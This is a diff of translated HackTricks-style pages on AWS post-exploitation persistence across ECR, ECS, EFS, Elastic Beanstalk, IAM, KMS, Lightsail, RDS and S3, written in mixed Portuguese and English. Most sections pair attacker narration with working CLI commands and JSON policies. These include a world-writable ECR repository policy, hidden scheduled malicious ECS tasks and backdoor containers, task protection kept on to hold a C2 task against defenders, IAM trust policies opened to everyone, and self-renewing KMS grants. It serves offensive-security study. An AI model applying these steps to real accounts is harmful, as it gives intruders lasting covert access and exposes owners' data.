# 1) Prepare permissive repository policy (example grants everyone RW)
|
||||
cat > /tmp/repo_backdoor_policy.json <<'JSON'
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "BackdoorRW",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"AWS": "*"},
|
||||
"Action": [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer",
|
||||
"ecr:InitiateLayerUpload",
|
||||
"ecr:UploadLayerPart",
|
||||
"ecr:CompleteLayerUpload",
|
||||
"ecr:PutImage"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
|
||||
# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE
|
||||
aws ecr create-repository-creation-template --region $REGION --prefix ptc2 --applied-for PULL_THROUGH_CACHE --image-tag-mutability MUTABLE --repository-policy file:///tmp/repo_backdoor_policy.json
|
||||
|
||||
# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
|
||||
# This example caches from Amazon ECR Public namespace "nginx"
|
||||
aws ecr create-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc2 --upstream-registry ecr-public --upstream-registry-url public.ecr.aws --upstream-repository-prefix nginx
|
||||
|
||||
# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
|
||||
acct=$(aws sts get-caller-identity --query Account --output text)
|
||||
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
|
||||
|
||||
docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
|
||||
|
||||
# 5) Validate the backdoor policy was applied on the newly created repository
|
||||
aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq .
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,93 +0,0 @@
|
||||
# AWS - Persistência do ECS
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Tarefa Periódica Oculta do ECS
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testar
|
||||
|
||||
Um atacante pode criar uma tarefa periódica oculta do ECS usando o Amazon EventBridge para **agendar a execução de uma tarefa maliciosa periodicamente**. Esta tarefa pode realizar reconhecimento, exfiltrar dados ou manter persistência na conta AWS.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Contêiner de Backdoor na Definição de Tarefa ECS Existente
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testar
|
||||
|
||||
Um atacante pode adicionar um **contêiner de backdoor furtivo** em uma definição de tarefa ECS existente que roda ao lado de contêineres legítimos. O contêiner de backdoor pode ser usado para persistência e realização de atividades maliciosas.
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Serviço ECS Não Documentado
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testar
|
||||
|
||||
Um atacante pode criar um **serviço ECS não documentado** que executa uma tarefa maliciosa. Ao definir o número desejado de tarefas para um mínimo e desativar o registro, torna-se mais difícil para os administradores perceberem o serviço malicioso.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,151 @@
|
||||
# AWS - ECS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Tarefa Periódica Oculta do ECS
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testar
|
||||
|
||||
Um atacante pode criar uma tarefa periódica oculta do ECS usando Amazon EventBridge para **agendar a execução de uma tarefa maliciosa periodicamente**. Esta tarefa pode realizar reconnaissance, exfiltrate data, ou manter persistence na conta AWS.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Backdoor Container in Existing ECS Task Definition
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testar
|
||||
|
||||
Um atacante pode adicionar um **stealthy backdoor container** em uma ECS task definition existente que é executada ao lado de containers legítimos. O backdoor container pode ser usado para persistência e para realizar atividades maliciosas.
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Serviço ECS não documentado
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testar
|
||||
|
||||
Um atacante pode criar um **serviço ECS não documentado** que executa uma tarefa maliciosa. Ao definir o número desejado de tarefas no mínimo e desabilitar os logs, fica mais difícil para os administradores detectarem o serviço malicioso.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
### ECS Persistence via Task Scale-In Protection (UpdateTaskProtection)
|
||||
|
||||
Abuse ecs:UpdateTaskProtection para impedir que as service tasks sejam interrompidas por eventos de scale‑in e rolling deployments. Ao estender continuamente a proteção, um atacante pode manter uma task de longa duração em execução (para C2 ou coleta de dados), mesmo que os defensores reduzam o desiredCount ou publiquem novas revisões da task.
|
||||
|
||||
Steps to reproduce in us-east-1:
|
||||
```bash
|
||||
# 1) Cluster (create if missing)
|
||||
CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
|
||||
[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text)
|
||||
|
||||
# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
|
||||
cat > /tmp/ht-persist-td.json << 'JSON'
|
||||
{
|
||||
"family": "ht-persist",
|
||||
"networkMode": "awsvpc",
|
||||
"requiresCompatibilities": ["FARGATE"],
|
||||
"cpu": "256",
|
||||
"memory": "512",
|
||||
"containerDefinitions": [
|
||||
{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
|
||||
"command": ["/bin/sh","-c","sleep 864000"]}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
|
||||
|
||||
# 3) Create service (use default VPC public subnet + default SG)
|
||||
VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text)
|
||||
SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
|
||||
SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
|
||||
aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
|
||||
--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
|
||||
--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"
|
||||
|
||||
# 4) Get running task ARN
|
||||
TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)
|
||||
|
||||
# 5) Enable scale-in protection for 24h and verify
|
||||
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440
|
||||
aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK"
|
||||
|
||||
# 6) Try to scale service to 0 (task should persist)
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0
|
||||
aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING
|
||||
|
||||
# Optional: rolling deployment blocked by protection
|
||||
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment
|
||||
aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]'
|
||||
|
||||
# 7) Cleanup
|
||||
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true
|
||||
aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
|
||||
aws ecs deregister-task-definition --task-definition ht-persist || true
|
||||
```
|
||||
Impacto: Uma task protegida permanece RUNNING apesar de desiredCount=0 e bloqueia substituições durante novas implantações, permitindo persistência furtiva de longa duração dentro do serviço ECS.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,21 +0,0 @@
|
||||
# AWS - EFS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Modificar Política de Recursos / Grupos de Segurança
|
||||
|
||||
Modificando a **política de recursos e/ou grupos de segurança**, você pode tentar persistir seu acesso ao sistema de arquivos.
|
||||
|
||||
### Criar Ponto de Acesso
|
||||
|
||||
Você poderia **criar um ponto de acesso** (com acesso root a `/`) acessível a partir de um serviço onde você implementou **outra persistência** para manter o acesso privilegiado ao sistema de arquivos.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,21 @@
|
||||
# AWS - EFS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
Para mais informações, veja:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Modificar Resource Policy / Security Groups
|
||||
|
||||
Ao modificar a **resource policy and/or security groups**, você pode tentar manter seu acesso no sistema de arquivos.
|
||||
|
||||
### Criar Access Point
|
||||
|
||||
Você pode **create an access point** (com root access para `/`) acessível a partir de um serviço onde você tenha implementado **other persistence** para manter acesso privilegiado ao sistema de arquivos.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,35 +1,35 @@
|
||||
# AWS - Persistência no Elastic Beanstalk
|
||||
# AWS - Elastic Beanstalk Persistência
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
Para mais informações, consulte:
|
||||
Para mais informações, veja:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
../../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistência na Instância
|
||||
|
||||
Para manter a persistência dentro da conta AWS, alguns **mecanismos de persistência podem ser introduzidos dentro da instância** (cron job, chave ssh...) para que o atacante possa acessá-la e roubar as **credenciais do IAM role do serviço de metadados**.
|
||||
Para manter persistência dentro da conta AWS, algum **mecanismo de persistência poderia ser introduzido dentro da instância** (cron job, ssh key...) para que o atacante possa acessá-la e roubar IAM role **credentials from the metadata service**.
|
||||
|
||||
### Backdoor na Versão
|
||||
|
||||
Um atacante poderia inserir uma backdoor no código dentro do repositório S3 para que ele sempre execute sua backdoor e o código esperado.
|
||||
Um atacante poderia inserir um backdoor no código dentro do S3 repo para que ele sempre execute o backdoor e o código esperado.
|
||||
|
||||
### Nova versão com backdoor
|
||||
### Nova versão backdoored
|
||||
|
||||
Em vez de alterar o código na versão atual, o atacante poderia implantar uma nova versão da aplicação com backdoor.
|
||||
Em vez de alterar o código na versão atual, o atacante poderia implantar uma nova versão backdoored da aplicação.
|
||||
|
||||
### Abusando dos Hooks de Ciclo de Vida de Recursos Personalizados
|
||||
### Abusando de Custom Resource Lifecycle Hooks
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testar
|
||||
> TODO: Test
|
||||
|
||||
O Elastic Beanstalk fornece hooks de ciclo de vida que permitem executar scripts personalizados durante a provisão e a terminação da instância. Um atacante poderia **configurar um hook de ciclo de vida para executar periodicamente um script que exfiltra dados ou mantém acesso à conta AWS**.
|
||||
Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. Um atacante poderia **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
|
||||
```bash
|
||||
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
|
||||
# Attacker creates a script that exfiltrates data and maintains access
|
||||
echo '#!/bin/bash
|
||||
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
|
||||
gzip /tmp/data.csv
|
||||
@@ -72,4 +72,4 @@ Fn::GetAtt:
|
||||
# Attacker applies the new environment configuration
|
||||
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,47 +0,0 @@
|
||||
# AWS - Persistência IAM
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
Para mais informações, acesse:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistência IAM Comum
|
||||
|
||||
- Criar um usuário
|
||||
- Adicionar um usuário controlado a um grupo privilegiado
|
||||
- Criar chaves de acesso (do novo usuário ou de todos os usuários)
|
||||
- Conceder permissões extras a usuários/grupos controlados (políticas anexadas ou políticas inline)
|
||||
- Desativar MFA / Adicionar seu próprio dispositivo MFA
|
||||
- Criar uma situação de Cadeia de Funções (mais sobre isso abaixo na persistência STS)
|
||||
|
||||
### Políticas de Confiança de Função de Backdoor
|
||||
|
||||
Você pode backdoor uma política de confiança para poder assumi-la para um recurso externo controlado por você (ou para todos):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Versão da Política de Backdoor
|
||||
|
||||
Dê permissões de Administrador a uma política que não seja sua última versão (a última versão deve parecer legítima), e então atribua essa versão da política a um usuário/grupo controlado.
|
||||
|
||||
### Backdoor / Criar Provedor de Identidade
|
||||
|
||||
Se a conta já estiver confiando em um provedor de identidade comum (como o Github), as condições da confiança podem ser aumentadas para que o atacante possa abusar delas.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,47 @@
|
||||
# AWS - IAM Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
Para mais informações acesse:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistência comum do IAM
|
||||
|
||||
- Criar um usuário
|
||||
- Adicionar um usuário controlado a um grupo privilegiado
|
||||
- Criar chaves de acesso (do novo usuário ou de todos os usuários)
|
||||
- Conceder permissões extras a usuários/grupos controlados (políticas anexadas ou políticas inline)
|
||||
- Desabilitar MFA / Adicionar seu próprio dispositivo MFA
|
||||
- Criar uma situação de Role Chain Juggling (mais sobre isso abaixo em STS persistence)
|
||||
|
||||
### Backdoor Role Trust Policies
|
||||
|
||||
Você poderia inserir um backdoor em uma trust policy para que ela possa ser assumida por um recurso externo controlado por você (ou por todos):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Versão Backdoor da policy
|
||||
|
||||
Conceda permissões de Administrator a uma policy que não esteja na sua versão mais recente (a última versão deve parecer legítima), então atribua essa versão da policy a um usuário/grupo controlado.
|
||||
|
||||
### Backdoor / Criar Provedor de Identidade
|
||||
|
||||
Se a conta já confia em um provedor de identidade comum (como Github), as condições da relação de confiança podem ser aumentadas para que o atacante possa abusar delas.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,37 +0,0 @@
|
||||
# AWS - KMS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Conceder acesso via políticas KMS
|
||||
|
||||
Um atacante pode usar a permissão **`kms:PutKeyPolicy`** para **dar acesso** a uma chave a um usuário sob seu controle ou até mesmo a uma conta externa. Consulte a [**página de Privesc KMS**](../aws-privilege-escalation/aws-kms-privesc.md) para mais informações.
|
||||
|
||||
### Concessão Eterna
|
||||
|
||||
Concessões são outra maneira de dar a um principal algumas permissões sobre uma chave específica. É possível dar uma concessão que permite a um usuário criar concessões. Além disso, um usuário pode ter várias concessões (mesmo idênticas) sobre a mesma chave.
|
||||
|
||||
Portanto, é possível que um usuário tenha 10 concessões com todas as permissões. O atacante deve monitorar isso constantemente. E se em algum momento 1 concessão for removida, outras 10 devem ser geradas.
|
||||
|
||||
(Estamos usando 10 e não 2 para poder detectar que uma concessão foi removida enquanto o usuário ainda tem alguma concessão)
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
|
||||
# To monitor grants
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
> [!NOTE]
|
||||
> Uma concessão pode conceder permissões apenas a partir disso: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,37 @@
|
||||
# AWS - KMS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Conceder acesso via políticas do KMS
|
||||
|
||||
Um atacante pode usar a permissão **`kms:PutKeyPolicy`** para **conceder acesso** a uma chave a um usuário sob seu controle ou até a uma conta externa. Confira a [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) para mais informações.
|
||||
|
||||
### Grant Eterno
|
||||
|
||||
Grants são outra forma de dar a um principal algumas permissões sobre uma chave específica. É possível criar um grant que permite a um usuário criar grants. Além disso, um usuário pode ter vários grants (até idênticos) sobre a mesma chave.
|
||||
|
||||
Portanto, é possível que um usuário tenha 10 grants com todas as permissões. O atacante deve monitorar isso constantemente. Se, em algum momento, 1 grant for removido, outros 10 deverão ser gerados.
|
||||
|
||||
(Estamos usando 10 e não 2 para conseguir detectar que um grant foi removido enquanto o usuário ainda possui algum grant)
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
|
||||
# To monitor grants
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
> [!NOTE]
|
||||
> Um grant pode conceder permissões apenas a partir disto: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,33 +0,0 @@
|
||||
# AWS - Lightsail Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lightsail
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Baixar chaves SSH da instância e senhas do DB
|
||||
|
||||
Elas provavelmente não serão alteradas, então tê-las é uma boa opção para persistência.
|
||||
|
||||
### Backdoor em Instâncias
|
||||
|
||||
Um atacante poderia acessar as instâncias e backdoor elas:
|
||||
|
||||
- Usando um **rootkit** tradicional, por exemplo
|
||||
- Adicionando uma nova **chave SSH pública**
|
||||
- Expondo uma porta com port knocking com um backdoor
|
||||
|
||||
### Persistência DNS
|
||||
|
||||
Se os domínios estiverem configurados:
|
||||
|
||||
- Crie um subdomínio apontando para seu IP para que você tenha uma **subdomain takeover**
|
||||
- Crie um registro **SPF** permitindo que você envie **emails** do domínio
|
||||
- Configure o **IP do domínio principal para o seu próprio** e realize um **MitM** do seu IP para os legítimos
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,33 @@
|
||||
# AWS - Lightsail Persistência
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lightsail
|
||||
|
||||
Para mais informações confira:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Baixar chaves SSH da instância e senhas do DB
|
||||
|
||||
Provavelmente não serão alteradas, então tê-las é uma boa opção para persistência
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
Um atacante poderia obter acesso às instâncias e instalar um backdoor nelas:
|
||||
|
||||
- Usando um **rootkit** tradicional, por exemplo
|
||||
- Adicionando uma nova **public SSH key**
|
||||
- Expor uma porta usando port knocking com um backdoor
|
||||
|
||||
### Persistência DNS
|
||||
|
||||
Se domínios estiverem configurados:
|
||||
|
||||
- Crie um subdomínio apontando para o seu IP para obter um **subdomain takeover**
|
||||
- Crie um registro **SPF** permitindo que você envie **emails** do domínio
|
||||
- Configure o **main domain IP to your own one** e realize um **MitM** a partir do seu IP para os legítimos
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,27 +0,0 @@
|
||||
# AWS - Persistência RDS
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Tornar a instância acessível publicamente: `rds:ModifyDBInstance`
|
||||
|
||||
Um atacante com esta permissão pode **modificar uma instância RDS existente para habilitar a acessibilidade pública**.
|
||||
```bash
|
||||
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
|
||||
```
|
||||
### Criar um usuário administrador dentro do DB
|
||||
|
||||
Um atacante poderia simplesmente **criar um usuário dentro do DB** para que mesmo se a senha do usuário master for modificada, ele **não perca o acesso** ao banco de dados.
|
||||
|
||||
### Tornar o snapshot público
|
||||
```bash
|
||||
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,27 @@
|
||||
# AWS - RDS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS
|
||||
|
||||
Para mais informações, veja:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-relational-database-rds-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Tornar a instância publicamente acessível: `rds:ModifyDBInstance`
|
||||
|
||||
Um atacante com essa permissão pode **modificar uma instância RDS existente para habilitar acesso público**.
|
||||
```bash
|
||||
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
|
||||
```
|
||||
### Criar um usuário administrador dentro do DB
|
||||
|
||||
Um atacante poderia simplesmente **criar um usuário dentro do DB** para que, mesmo se a senha do usuário master for modificada, ele **não perca o acesso** ao banco de dados.
|
||||
|
||||
### Tornar o snapshot público
|
||||
```bash
|
||||
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,25 +0,0 @@
|
||||
# AWS - S3 Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### KMS Client-Side Encryption
|
||||
|
||||
Quando o processo de criptografia é concluído, o usuário usará a API KMS para gerar uma nova chave (`aws kms generate-data-key`) e ele **armazenará a chave criptografada gerada dentro dos metadados** do arquivo ([exemplo de código python](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) para que, quando a descriptografia ocorrer, ele possa descriptografá-la usando o KMS novamente:
|
||||
|
||||
<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Portanto, um atacante poderia obter essa chave dos metadados e descriptografar com KMS (`aws kms decrypt`) para obter a chave usada para criptografar as informações. Dessa forma, o atacante terá a chave de criptografia e, se essa chave for reutilizada para criptografar outros arquivos, ele poderá usá-la.
|
||||
|
||||
### Using S3 ACLs
|
||||
|
||||
